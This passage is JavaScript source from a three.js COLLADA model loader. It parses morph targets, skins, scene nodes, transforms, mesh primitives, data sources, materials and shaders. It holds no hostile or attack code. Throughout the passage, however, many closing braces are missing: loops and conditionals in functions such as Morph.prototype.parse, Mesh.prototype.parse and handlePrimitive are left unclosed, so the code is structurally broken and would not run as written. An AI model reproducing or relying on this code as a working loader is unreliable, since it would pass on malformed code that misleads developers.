		this.weights = null;

};

Morph.prototype.parse = function( element ) {

var sources = {};
		var inputs = [];
		var i;

this.method = element.getAttribute( 'method' );
		this.source = element.getAttribute( 'source' ).replace( /^#/, '' );

for ( i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'source':

var source = ( new Source() ).parse( child );
					sources[ source.id ] = source;
					break;

case 'targets':

inputs = this.parseInputs( child );
					break;

default:

console.log( child.nodeName );
					break;

}

for ( i = 0; i < inputs.length; i ++ ) {

var input = inputs[ i ];
			var source = sources[ input.source ];

switch ( input.semantic ) {

case 'MORPH_TARGET':

this.targets = source.read();
					break;

case 'MORPH_WEIGHT':

this.weights = source.read();
					break;

default:
					break;

}
		}

return this;

};

Morph.prototype.parseInputs = function(element) {

var inputs = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1) continue;

switch ( child.nodeName ) {

case 'input':

inputs.push( (new Input()).parse(child) );
					break;

default:
					break;
			}
		}

return inputs;

};

function Skin() {

this.source = "";
		this.bindShapeMatrix = null;
		this.invBindMatrices = [];
		this.joints = [];
		this.weights = [];

};

Skin.prototype.parse = function( element ) {

var sources = {};
		var joints, weights;

this.source = element.getAttribute( 'source' ).replace( /^#/, '' );
		this.invBindMatrices = [];
		this.joints = [];
		this.weights = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'bind_shape_matrix':

var f = _floats(child.textContent);
					this.bindShapeMatrix = getConvertedMat4( f );
					break;

case 'source':

var src = new Source().parse(child);
					sources[ src.id ] = src;
					break;

case 'joints':

joints = child;
					break;

case 'vertex_weights':

weights = child;
					break;

default:

console.log( child.nodeName );
					break;

}
		}

this.parseJoints( joints, sources );
		this.parseWeights( weights, sources );

return this;

};

Skin.prototype.parseJoints = function ( element, sources ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'input':

var input = ( new Input() ).parse( child );
					var source = sources[ input.source ];

if ( input.semantic === 'JOINT' ) {

this.joints = source.read();

} else if ( input.semantic === 'INV_BIND_MATRIX' ) {

this.invBindMatrices = source.read();

}

break;

default:
					break;
			}

}

};

Skin.prototype.parseWeights = function ( element, sources ) {

var v, vcount, inputs = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'input':

inputs.push( ( new Input() ).parse( child ) );
					break;

case 'v':

v = _ints( child.textContent );
					break;

case 'vcount':

vcount = _ints( child.textContent );
					break;

default:
					break;

}

var index = 0;

for ( var i = 0; i < vcount.length; i ++ ) {

var numBones = vcount[i];
			var vertex_weights = [];

for ( var j = 0; j < numBones; j ++ ) {

var influence = {};

for ( var k = 0; k < inputs.length; k ++ ) {

var input = inputs[ k ];
					var value = v[ index + input.offset ];

switch ( input.semantic ) {

case 'JOINT':

influence.joint = value;//this.joints[value];
							break;

case 'WEIGHT':

influence.weight = sources[ input.source ].data[ value ];
							break;

default:
							break;

}

vertex_weights.push( influence );
				index += inputs.length;
			}

for ( var j = 0; j < vertex_weights.length; j ++ ) {

vertex_weights[ j ].index = i;

}

this.weights.push( vertex_weights );

}

};

function VisualScene () {

this.id = "";
		this.name = "";
		this.nodes = [];
		this.scene = new THREE.Group();

};

VisualScene.prototype.getChildById = function( id, recursive ) {

for ( var i = 0; i < this.nodes.length; i ++ ) {

var node = this.nodes[ i ].getChildById( id, recursive );

if ( node ) {

return node;

}

return null;

};

VisualScene.prototype.getChildBySid = function( sid, recursive ) {

for ( var i = 0; i < this.nodes.length; i ++ ) {

var node = this.nodes[ i ].getChildBySid( sid, recursive );

if ( node ) {

return node;

}

return null;

};

VisualScene.prototype.parse = function( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );
		this.nodes = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'node':

this.nodes.push( ( new Node() ).parse( child ) );
					break;

default:
					break;

}

return this;

};

function Node() {

this.id = "";
		this.name = "";
		this.sid = "";
		this.nodes = [];
		this.controllers = [];
		this.transforms = [];
		this.geometries = [];
		this.channels = [];
		this.matrix = new THREE.Matrix4();

};

Node.prototype.getChannelForTransform = function( transformSid ) {

for ( var i = 0; i < this.channels.length; i ++ ) {

var channel = this.channels[i];
			var parts = channel.target.split('/');
			var id = parts.shift();
			var sid = parts.shift();
			var dotSyntax = (sid.indexOf(".") >= 0);
			var arrSyntax = (sid.indexOf("(") >= 0);
			var arrIndices;
			var member;

if ( dotSyntax ) {

parts = sid.split(".");
				sid = parts.shift();
				member = parts.shift();

} else if ( arrSyntax ) {

arrIndices = sid.split("(");
				sid = arrIndices.shift();

for ( var j = 0; j < arrIndices.length; j ++ ) {

arrIndices[ j ] = parseInt( arrIndices[ j ].replace( /\)/, '' ) );

}

if ( sid === transformSid ) {

channel.info = { sid: sid, dotSyntax: dotSyntax, arrSyntax: arrSyntax, arrIndices: arrIndices };
				return channel;

}

return null;

};

Node.prototype.getChildById = function ( id, recursive ) {

if ( this.id === id ) {

return this;

}

if ( recursive ) {

for ( var i = 0; i < this.nodes.length; i ++ ) {

var n = this.nodes[ i ].getChildById( id, recursive );

if ( n ) {

return n;

}

return null;

};

Node.prototype.getChildBySid = function ( sid, recursive ) {

if ( this.sid === sid ) {

return this;

}

if ( recursive ) {

for ( var i = 0; i < this.nodes.length; i ++ ) {

var n = this.nodes[ i ].getChildBySid( sid, recursive );

if ( n ) {

return n;

}

}
		}

return null;

};

Node.prototype.getTransformBySid = function ( sid ) {

for ( var i = 0; i < this.transforms.length; i ++ ) {

if ( this.transforms[ i ].sid === sid ) return this.transforms[ i ];

}

return null;

};

Node.prototype.parse = function( element ) {

var url;

this.id = element.getAttribute('id');
		this.sid = element.getAttribute('sid');
		this.name = element.getAttribute('name');
		this.type = element.getAttribute('type');
		this.layer = element.getAttribute('layer');

this.type = this.type === 'JOINT' ? this.type : 'NODE';

this.nodes = [];
		this.transforms = [];
		this.geometries = [];
		this.cameras = [];
		this.lights = [];
		this.controllers = [];
		this.matrix = new THREE.Matrix4();

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'node':

this.nodes.push( ( new Node() ).parse( child ) );
					break;

case 'instance_camera':

this.cameras.push( ( new InstanceCamera() ).parse( child ) );
					break;

case 'instance_controller':

this.controllers.push( ( new InstanceController() ).parse( child ) );
					break;

case 'instance_geometry':

this.geometries.push( ( new InstanceGeometry() ).parse( child ) );
					break;

case 'instance_light':

this.lights.push( ( new InstanceLight() ).parse( child ) );
					break;

case 'instance_node':

url = child.getAttribute( 'url' ).replace( /^#/, '' );
					var iNode = getLibraryNode( url );

if ( iNode ) {

this.nodes.push( ( new Node() ).parse( iNode )) ;

}

break;

case 'rotate':
				case 'translate':
				case 'scale':
				case 'matrix':
				case 'lookat':
				case 'skew':

this.transforms.push( ( new Transform() ).parse( child ) );
					break;

case 'extra':
					break;

default:

console.log( child.nodeName );
					break;

}

this.channels = getChannelsForNode( this );
		bakeAnimations( this );

this.updateMatrix();

return this;

};

Node.prototype.updateMatrix = function () {

this.matrix.identity();

for ( var i = 0; i < this.transforms.length; i ++ ) {

this.transforms[ i ].apply( this.matrix );

}

};

function Transform () {

this.sid = "";
		this.type = "";
		this.data = [];
		this.obj = null;

};

Transform.prototype.parse = function ( element ) {

this.sid = element.getAttribute( 'sid' );
		this.type = element.nodeName;
		this.data = _floats( element.textContent );
		this.convert();

return this;

};

Transform.prototype.convert = function () {

switch ( this.type ) {

case 'matrix':

this.obj = getConvertedMat4( this.data );
				break;

case 'rotate':

this.angle = THREE.Math.degToRad( this.data[3] );

case 'translate':

fixCoords( this.data, -1 );
				this.obj = new THREE.Vector3( this.data[ 0 ], this.data[ 1 ], this.data[ 2 ] );
				break;

case 'scale':

fixCoords( this.data, 1 );
				this.obj = new THREE.Vector3( this.data[ 0 ], this.data[ 1 ], this.data[ 2 ] );
				break;

default:
				console.log( 'Can not convert Transform of type ' + this.type );
				break;

}

};

Transform.prototype.apply = function () {

var m1 = new THREE.Matrix4();

return function ( matrix ) {

switch ( this.type ) {

case 'matrix':

matrix.multiply( this.obj );

break;

case 'translate':

matrix.multiply( m1.makeTranslation( this.obj.x, this.obj.y, this.obj.z ) );

break;

case 'rotate':

matrix.multiply( m1.makeRotationAxis( this.obj, this.angle ) );

break;

case 'scale':

matrix.scale( this.obj );

break;

}

};

}();

Transform.prototype.update = function ( data, member ) {

var members = [ 'X', 'Y', 'Z', 'ANGLE' ];

switch ( this.type ) {

case 'matrix':

if ( ! member ) {

this.obj.copy( data );

} else if ( member.length === 1 ) {

switch ( member[ 0 ] ) {

case 0:

this.obj.n11 = data[ 0 ];
							this.obj.n21 = data[ 1 ];
							this.obj.n31 = data[ 2 ];
							this.obj.n41 = data[ 3 ];

break;

case 1:

this.obj.n12 = data[ 0 ];
							this.obj.n22 = data[ 1 ];
							this.obj.n32 = data[ 2 ];
							this.obj.n42 = data[ 3 ];

break;

case 2:

this.obj.n13 = data[ 0 ];
							this.obj.n23 = data[ 1 ];
							this.obj.n33 = data[ 2 ];
							this.obj.n43 = data[ 3 ];

break;

case 3:

this.obj.n14 = data[ 0 ];
							this.obj.n24 = data[ 1 ];
							this.obj.n34 = data[ 2 ];
							this.obj.n44 = data[ 3 ];

break;

}

} else if ( member.length === 2 ) {

var propName = 'n' + ( member[ 0 ] + 1 ) + ( member[ 1 ] + 1 );
					this.obj[ propName ] = data;

} else {

console.log('Incorrect addressing of matrix in transform.');

}

break;

case 'translate':
			case 'scale':

if ( Object.prototype.toString.call( member ) === '[object Array]' ) {

member = members[ member[ 0 ] ];

}

switch ( member ) {

case 'X':

this.obj.x = data;
						break;

case 'Y':

this.obj.y = data;
						break;

case 'Z':

this.obj.z = data;
						break;

default:

this.obj.x = data[ 0 ];
						this.obj.y = data[ 1 ];
						this.obj.z = data[ 2 ];
						break;

}

break;

case 'rotate':

if ( Object.prototype.toString.call( member ) === '[object Array]' ) {

member = members[ member[ 0 ] ];

}

switch ( member ) {

case 'X':

this.obj.x = data;
						break;

case 'Y':

this.obj.y = data;
						break;

case 'Z':

this.obj.z = data;
						break;

case 'ANGLE':

this.angle = THREE.Math.degToRad( data );
						break;

default:

this.obj.x = data[ 0 ];
						this.obj.y = data[ 1 ];
						this.obj.z = data[ 2 ];
						this.angle = THREE.Math.degToRad( data[ 3 ] );
						break;

}
				break;

}

};

function InstanceController() {

this.url = "";
		this.skeleton = [];
		this.instance_material = [];

};

InstanceController.prototype.parse = function ( element ) {

this.url = element.getAttribute('url').replace(/^#/, '');
		this.skeleton = [];
		this.instance_material = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType !== 1 ) continue;

switch ( child.nodeName ) {

case 'skeleton':

this.skeleton.push( child.textContent.replace(/^#/, '') );
					break;

case 'bind_material':

var instances = child.querySelectorAll('instance_material');

for ( var j = 0; j < instances.length; j ++ ) {

var instance = instances[j];
						this.instance_material.push( (new InstanceMaterial()).parse(instance) );

}

break;

case 'extra':
					break;

default:
					break;

}
		}

return this;

};

function InstanceMaterial () {

this.symbol = "";
		this.target = "";

};

InstanceMaterial.prototype.parse = function ( element ) {

this.symbol = element.getAttribute('symbol');
		this.target = element.getAttribute('target').replace(/^#/, '');
		return this;

};

function InstanceGeometry() {

this.url = "";
		this.instance_material = [];

};

InstanceGeometry.prototype.parse = function ( element ) {

this.url = element.getAttribute('url').replace(/^#/, '');
		this.instance_material = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];
			if ( child.nodeType != 1 ) continue;

if ( child.nodeName === 'bind_material' ) {

var instances = child.querySelectorAll('instance_material');

for ( var j = 0; j < instances.length; j ++ ) {

var instance = instances[j];
					this.instance_material.push( (new InstanceMaterial()).parse(instance) );

}

break;

}

return this;

};

function Geometry() {

this.id = "";
		this.mesh = null;

};

Geometry.prototype.parse = function ( element ) {

this.id = element.getAttribute('id');

extractDoubleSided( this, element );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];

switch ( child.nodeName ) {

case 'mesh':

this.mesh = (new Mesh(this)).parse(child);
					break;

case 'extra':

// console.log( child );
					break;

default:
					break;
			}
		}

return this;

};

function Mesh( geometry ) {

this.geometry = geometry.id;
		this.primitives = [];
		this.vertices = null;
		this.geometry3js = null;

};

Mesh.prototype.parse = function ( element ) {

this.primitives = [];

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'source':

_source( child );
					break;

case 'vertices':

this.vertices = ( new Vertices() ).parse( child );
					break;

case 'linestrips':

this.primitives.push( ( new LineStrips().parse( child ) ) );
					break;

case 'triangles':

this.primitives.push( ( new Triangles().parse( child ) ) );
					break;

case 'polygons':

this.primitives.push( ( new Polygons().parse( child ) ) );
					break;

case 'polylist':

this.primitives.push( ( new Polylist().parse( child ) ) );
					break;

default:
					break;

}

this.geometry3js = new THREE.Geometry();

if ( this.vertices === null ) {

// TODO (mrdoob): Study case when this is null (carrier.dae)

return this;

}

var vertexData = sources[ this.vertices.input['POSITION'].source ].data;

for ( var i = 0; i < vertexData.length; i += 3 ) {

this.geometry3js.vertices.push( getConvertedVec3( vertexData, i ).clone() );

}

for ( var i = 0; i < this.primitives.length; i ++ ) {

var primitive = this.primitives[ i ];
			primitive.setVertices( this.vertices );
			this.handlePrimitive( primitive, this.geometry3js );

}

if ( this.geometry3js.calcNormals ) {

this.geometry3js.computeVertexNormals();
			delete this.geometry3js.calcNormals;

}

return this;

};

Mesh.prototype.handlePrimitive = function ( primitive, geom ) {

if ( primitive instanceof LineStrips ) {

// TODO: Handle indices. Maybe easier with BufferGeometry?

geom.isLineStrip = true;
			return;

}

var j, k, pList = primitive.p, inputs = primitive.inputs;
		var input, index, idx32;
		var source, numParams;
		var vcIndex = 0, vcount = 3, maxOffset = 0;
		var texture_sets = [];

for ( j = 0; j < inputs.length; j ++ ) {

input = inputs[ j ];

var offset = input.offset + 1;
			maxOffset = (maxOffset < offset) ? offset : maxOffset;

switch ( input.semantic ) {

case 'TEXCOORD':
					texture_sets.push( input.set );
					break;

}

for ( var pCount = 0; pCount < pList.length; ++ pCount ) {

var p = pList[ pCount ], i = 0;

while ( i < p.length ) {

var vs = [];
				var ns = [];
				var ts = null;
				var cs = [];

if ( primitive.vcount ) {

vcount = primitive.vcount.length ? primitive.vcount[ vcIndex ++ ] : primitive.vcount;

} else {

vcount = p.length / maxOffset;

}

for ( j = 0; j < vcount; j ++ ) {

for ( k = 0; k < inputs.length; k ++ ) {

input = inputs[ k ];
						source = sources[ input.source ];

index = p[ i + ( j * maxOffset ) + input.offset ];
						numParams = source.accessor.params.length;
						idx32 = index * numParams;

switch ( input.semantic ) {

case 'VERTEX':

vs.push( index );

break;

case 'NORMAL':

ns.push( getConvertedVec3( source.data, idx32 ) );

break;

case 'TEXCOORD':

ts = ts || { };
								if ( ts[ input.set ] === undefined ) ts[ input.set ] = [];
								// invert the V
								ts[ input.set ].push( new THREE.Vector2( source.data[ idx32 ], source.data[ idx32 + 1 ] ) );

break;

case 'COLOR':

cs.push( new THREE.Color().setRGB( source.data[ idx32 ], source.data[ idx32 + 1 ], source.data[ idx32 + 2 ] ) );

break;

default:

break;

}

if ( ns.length === 0 ) {

// check the vertices inputs
					input = this.vertices.input.NORMAL;

if ( input ) {

source = sources[ input.source ];
						numParams = source.accessor.params.length;

for ( var ndx = 0, len = vs.length; ndx < len; ndx ++ ) {

ns.push( getConvertedVec3( source.data, vs[ ndx ] * numParams ) );

}

} else {

geom.calcNormals = true;

}

if ( !ts ) {

ts = { };
					// check the vertices inputs
					input = this.vertices.input.TEXCOORD;

if ( input ) {

texture_sets.push( input.set );
						source = sources[ input.source ];
						numParams = source.accessor.params.length;

for ( var ndx = 0, len = vs.length; ndx < len; ndx ++ ) {

idx32 = vs[ ndx ] * numParams;
							if ( ts[ input.set ] === undefined ) ts[ input.set ] = [ ];
							// invert the V
							ts[ input.set ].push( new THREE.Vector2( source.data[ idx32 ], 1.0 - source.data[ idx32 + 1 ] ) );

}

if ( cs.length === 0 ) {

// check the vertices inputs
					input = this.vertices.input.COLOR;

if ( input ) {

source = sources[ input.source ];
						numParams = source.accessor.params.length;

for ( var ndx = 0, len = vs.length; ndx < len; ndx ++ ) {

idx32 = vs[ ndx ] * numParams;
							cs.push( new THREE.Color().setRGB( source.data[ idx32 ], source.data[ idx32 + 1 ], source.data[ idx32 + 2 ] ) );

}

var face = null, faces = [], uv, uvArr;

if ( vcount === 3 ) {

faces.push( new THREE.Face3( vs[0], vs[1], vs[2], ns, cs.length ? cs : new THREE.Color() ) );

} else if ( vcount === 4 ) {

faces.push( new THREE.Face3( vs[0], vs[1], vs[3], [ ns[0].clone(), ns[1].clone(), ns[3].clone() ], cs.length ? [ cs[0], cs[1], cs[3] ] : new THREE.Color() ) );

faces.push( new THREE.Face3( vs[1], vs[2], vs[3], [ ns[1].clone(), ns[2].clone(), ns[3].clone() ], cs.length ? [ cs[1], cs[2], cs[3] ] : new THREE.Color() ) );

} else if ( vcount > 4 && options.subdivideFaces ) {

var clr = cs.length ? cs : new THREE.Color(),
						vec1, vec2, vec3, v1, v2, norm;

// subdivide into multiple Face3s

for ( k = 1; k < vcount - 1; ) {

faces.push( new THREE.Face3( vs[0], vs[k], vs[k + 1], [ ns[0].clone(), ns[k ++].clone(), ns[k].clone() ], clr ) );

}

if ( faces.length ) {

for ( var ndx = 0, len = faces.length; ndx < len; ndx ++ ) {

face = faces[ndx];
						face.daeMaterial = primitive.material;
						geom.faces.push( face );

for ( k = 0; k < texture_sets.length; k ++ ) {

uv = ts[ texture_sets[k] ];

if ( vcount > 4 ) {

// Grab the right UVs for the vertices in this face
								uvArr = [ uv[0], uv[ndx + 1], uv[ndx + 2] ];

} else if ( vcount === 4 ) {

if ( ndx === 0 ) {

uvArr = [ uv[0], uv[1], uv[3] ];

} else {

uvArr = [ uv[1].clone(), uv[2], uv[3].clone() ];

}

} else {

uvArr = [ uv[0], uv[1], uv[2] ];

}

if ( geom.faceVertexUvs[k] === undefined ) {

geom.faceVertexUvs[k] = [];

}

geom.faceVertexUvs[k].push( uvArr );

}

} else {

console.log( 'dropped face with vcount ' + vcount + ' for geometry with id: ' + geom.id );

}

i += maxOffset * vcount;

}

};

function Polygons () {

this.material = "";
		this.count = 0;
		this.inputs = [];
		this.vcount = null;
		this.p = [];
		this.geometry = new THREE.Geometry();

};

Polygons.prototype.setVertices = function ( vertices ) {

for ( var i = 0; i < this.inputs.length; i ++ ) {

if ( this.inputs[ i ].source === vertices.id ) {

this.inputs[ i ].source = vertices.input[ 'POSITION' ].source;

}

};

Polygons.prototype.parse = function ( element ) {

this.material = element.getAttribute( 'material' );
		this.count = _attr_as_int( element, 'count', 0 );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'input':

this.inputs.push( ( new Input() ).parse( element.childNodes[ i ] ) );
					break;

case 'vcount':

this.vcount = _ints( child.textContent );
					break;

case 'p':

this.p.push( _ints( child.textContent ) );
					break;

case 'ph':

console.warn( 'polygon holes not yet supported!' );
					break;

default:
					break;

}

return this;

};

function Polylist () {

Polygons.call( this );

this.vcount = [];

};

Polylist.prototype = Object.create( Polygons.prototype );
	Polylist.prototype.constructor = Polylist;

function LineStrips() {

Polygons.call( this );

this.vcount = 1;

};

LineStrips.prototype = Object.create( Polygons.prototype );
	LineStrips.prototype.constructor = LineStrips;

function Triangles () {

Polygons.call( this );

this.vcount = 3;

};

Triangles.prototype = Object.create( Polygons.prototype );
	Triangles.prototype.constructor = Triangles;

function Accessor() {

this.source = "";
		this.count = 0;
		this.stride = 0;
		this.params = [];

};

Accessor.prototype.parse = function ( element ) {

this.params = [];
		this.source = element.getAttribute( 'source' );
		this.count = _attr_as_int( element, 'count', 0 );
		this.stride = _attr_as_int( element, 'stride', 0 );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

if ( child.nodeName === 'param' ) {

var param = {};
				param[ 'name' ] = child.getAttribute( 'name' );
				param[ 'type' ] = child.getAttribute( 'type' );
				this.params.push( param );

}

return this;

};

function Vertices() {

this.input = {};

};

Vertices.prototype.parse = function ( element ) {

this.id = element.getAttribute('id');

for ( var i = 0; i < element.childNodes.length; i ++ ) {

if ( element.childNodes[i].nodeName === 'input' ) {

var input = ( new Input() ).parse( element.childNodes[ i ] );
				this.input[ input.semantic ] = input;

}

return this;

};

function Input () {

this.semantic = "";
		this.offset = 0;
		this.source = "";
		this.set = 0;

};

Input.prototype.parse = function ( element ) {

this.semantic = element.getAttribute('semantic');
		this.source = element.getAttribute('source').replace(/^#/, '');
		this.set = _attr_as_int(element, 'set', -1);
		this.offset = _attr_as_int(element, 'offset', 0);

if ( this.semantic === 'TEXCOORD' && this.set < 0 ) {

this.set = 0;

}

return this;

};

function Source ( id ) {

this.id = id;
		this.type = null;

};

Source.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[i];

switch ( child.nodeName ) {

case 'bool_array':

this.data = _bools( child.textContent );
					this.type = child.nodeName;
					break;

case 'float_array':

this.data = _floats( child.textContent );
					this.type = child.nodeName;
					break;

case 'int_array':

this.data = _ints( child.textContent );
					this.type = child.nodeName;
					break;

case 'IDREF_array':
				case 'Name_array':

this.data = _strings( child.textContent );
					this.type = child.nodeName;
					break;

case 'technique_common':

for ( var j = 0; j < child.childNodes.length; j ++ ) {

if ( child.childNodes[ j ].nodeName === 'accessor' ) {

this.accessor = ( new Accessor() ).parse( child.childNodes[ j ] );
							break;

}
					}
					break;

default:
					// console.log(child.nodeName);
					break;

}

return this;

};

Source.prototype.read = function () {

var result = [];

//for (var i = 0; i < this.accessor.params.length; i++) {

var param = this.accessor.params[ 0 ];

//console.log(param.name + " " + param.type);

switch ( param.type ) {

case 'IDREF':
			case 'Name': case 'name':
			case 'float':

return this.data;

case 'float4x4':

for ( var j = 0; j < this.data.length; j += 16 ) {

var s = this.data.slice( j, j + 16 );
					var m = getConvertedMat4( s );
					result.push( m );
				}

break;

default:

console.log( 'ColladaLoader: Source: Read dont know how to read ' + param.type + '.' );
				break;

}

//}

return result;

};

function Material () {

this.id = "";
		this.name = "";
		this.instance_effect = null;

};

Material.prototype.parse = function ( element ) {

this.id = element.getAttribute( 'id' );
		this.name = element.getAttribute( 'name' );

for ( var i = 0; i < element.childNodes.length; i ++ ) {

if ( element.childNodes[ i ].nodeName === 'instance_effect' ) {

this.instance_effect = ( new InstanceEffect() ).parse( element.childNodes[ i ] );
				break;

}

return this;

};

function ColorOrTexture () {

this.color = new THREE.Color();
		this.color.setRGB( Math.random(), Math.random(), Math.random() );
		this.color.a = 1.0;

this.texture = null;
		this.texcoord = null;
		this.texOpts = null;

};

ColorOrTexture.prototype.isColor = function () {

return ( this.texture === null );

};

ColorOrTexture.prototype.isTexture = function () {

return ( this.texture != null );

};

ColorOrTexture.prototype.parse = function ( element ) {

if (element.nodeName === 'transparent') {

this.opaque = element.getAttribute('opaque');

}

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'color':

var rgba = _floats( child.textContent );
					this.color = new THREE.Color();
					this.color.setRGB( rgba[0], rgba[1], rgba[2] );
					this.color.a = rgba[3];
					break;

case 'texture':

this.texture = child.getAttribute('texture');
					this.texcoord = child.getAttribute('texcoord');
					// Defaults from:
					// https://collada.org/mediawiki/index.php/Maya_texture_placement_MAYA_extension
					this.texOpts = {
						offsetU: 0,
						offsetV: 0,
						repeatU: 1,
						repeatV: 1,
						wrapU: 1,
						wrapV: 1
					};
					this.parseTexture( child );
					break;

default:
					break;

}

return this;

};

ColorOrTexture.prototype.parseTexture = function ( element ) {

if ( ! element.childNodes ) return this;

// This should be supported by Maya, 3dsMax, and MotionBuilder

if ( element.childNodes[1] && element.childNodes[1].nodeName === 'extra' ) {

element = element.childNodes[1];

if ( element.childNodes[1] && element.childNodes[1].nodeName === 'technique' ) {

element = element.childNodes[1];

}

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];

switch ( child.nodeName ) {

case 'offsetU':
				case 'offsetV':
				case 'repeatU':
				case 'repeatV':

this.texOpts[ child.nodeName ] = parseFloat( child.textContent );

break;

case 'wrapU':
				case 'wrapV':

// some dae have a value of true which becomes NaN via parseInt

if ( child.textContent.toUpperCase() === 'TRUE' ) {

this.texOpts[ child.nodeName ] = 1;

} else {

this.texOpts[ child.nodeName ] = parseInt( child.textContent );

}
					break;

default:

this.texOpts[ child.nodeName ] = child.textContent;

break;

}

return this;

};

function Shader ( type, effect ) {

this.type = type;
		this.effect = effect;
		this.material = null;

};

Shader.prototype.parse = function ( element ) {

for ( var i = 0; i < element.childNodes.length; i ++ ) {

var child = element.childNodes[ i ];
			if ( child.nodeType != 1 ) continue;

switch ( child.nodeName ) {

case 'emission':
				case 'diffuse':
				case 'specular':
				case 'transparent':

this[ child.nodeName ] = ( new ColorOrTexture() ).parse( child );
					break;

case 'bump':

// If 'bumptype' is 'heightfield', create a 'bump' property
					// Else if 'bumptype' is 'normalmap', create a 'normal' property
					// (Default to 'bump')
					var bumpType = child.getAttribute( 'bumptype' );
					if ( bumpType ) {
						if ( bumpType.toLowerCase() === "heightfield" ) {
							this[ 'bump' ] = ( new ColorOrTexture() ).parse( child );
						} else if ( bumpType.toLowerCase() === "normalmap" ) {
							this[ 'normal' ] = ( new ColorOrTexture() ).parse( child );
						} else {
							console.error( "Shader.prototype.parse: Invalid value for attribute 'bumptype' (" + bumpType + ") - valid bumptypes are 'HEIGHTFIELD' and 'NORMALMAP' - defaulting to 'HEIGHTFIELD'" );
							this[ 'bump' ] = ( new ColorOrTexture() ).parse( child );
						}
					} else {
						console.warn( "Shader.prototype.parse: Attribute 'bumptype' missing from bump node - defaulting to 'HEIGHTFIELD'" );
						this[ 'bump' ] = ( new ColorOrTexture() ).parse( child );
					}

break;

case 'shininess':
				case 'reflectivity':
				case 'index_of_refraction':
				case 'transparency':

var f = child.querySelectorAll('float');

if ( f.length > 0 )
						this[ child.nodeName ] = parseFloat( f[ 0 ].textContent );

break;

default:
					break;

}

this.create();
		return this;

};

Shader.prototype.create = function() {

var props = {};

var transparent = false;

if (this['transparency'] !== undefined && this['transparent'] !== undefined) {
			// convert transparent color RBG to average value
			var transparentColor = this['transparent'];
			var transparencyLevel = (this.transparent.color.r + this.transparent.color.g + this.transparent.color.b) / 3 * this.transparency;

if (transparencyLevel > 0) {
				transparent = true;
				props[ 'transparent' ] = true;
				props[ 'opacity' ] = 1 - transparencyLevel;

}

var keys = {
			'diffuse':'map',
			'ambient':'lightMap',
			'specular':'specularMap',
			'emission':'emissionMap',
			'bump':'bumpMap',
			'normal':'normalMap'
			};

for ( var prop in this ) {

switch ( prop ) {

case 'ambient':
				case 'emission':
				case 'diffuse':
				case 'specular':
				case 'bump':
				case 'normal':

var cot = this[ prop ];

if ( cot instanceof ColorOrTexture ) {

if ( cot.isTexture() ) {

var samplerId = cot.texture;
							var surfaceId = this.effect.sampler[samplerId];

if ( surfaceId !== undefined && surfaceId.source !== undefined ) {

var surface = this.effect.surface[surfaceId.source];

if ( surface !== undefined ) {

var image = images[ surface.init_from ];

if ( image ) {

var url = baseUrl + image.init_from;

var texture;
										var loader = THREE.Loader.Handlers.get( url );

if ( loader !== null ) {

texture = loader.load( url );

} else {

texture = new THREE.Texture();

loadTextureImage( texture, url );

}

texture.wrapS = cot.texOpts.wrapU ? THREE.RepeatWrapping : THREE.ClampToEdgeWrapping;
										texture.wrapT = cot.texOpts.wrapV ? THREE.RepeatWrapping : THREE.ClampToEdgeWrapping;
										texture.offset.x = cot.texOpts.offsetU;
										texture.offset.y = cot.texOpts.offsetV;
										texture.repeat.x = cot.texOpts.repeatU;
										texture.repeat.y = cot.texOpts.repeatV;
										props[keys[prop]] = texture;

// Texture with baked lighting?
										if (prop === 'emission') props['emissive'] = 0xffffff;

}

} else if ( prop === 'diffuse' || !transparent ) {

if ( prop === 'emission' ) {

props[ 'emissive' ] = cot.color.getHex();

} else {

props[ prop ] = cot.color.getHex();

}

break;

case 'shininess':

props[ prop ] = this[ prop ];
					break;

case 'reflectivity':

props[ prop ] = this[ prop ];
					if ( props[ prop ] > 0.0 ) props['envMap'] = options.defaultEnvMap;
					props['combine'] = THREE.MixOperation;	//mix regular shading with reflective component
					break;

case 'index_of_refraction':

props[ 'refractionRatio' ] = this[ prop ]; //TODO: "index_of_refraction" becomes "refractionRatio" in shader, but I'm not sure if the two are actually comparable
					if ( this[ prop ] !== 1.0 ) props['envMap'] = options.defaultEnvMap;
					break;

case 'transparency':
					// gets figured out up top
					break;

default:
					break;

}

props[ 'shading' ] = preferredShading;
		props[ 'side' ] = this.effect.doubleSided ? THREE.DoubleSide : THREE.FrontSide;

switch ( this.type ) {

case 'constant':

if (props.emissive != undefined) props.color = props.emissive;
				this.material = new THREE.MeshBasicMaterial( props );
				break;

case 'phong':
			case 'blinn':

if (props.diffuse != undefined) props.color = props.diffuse;
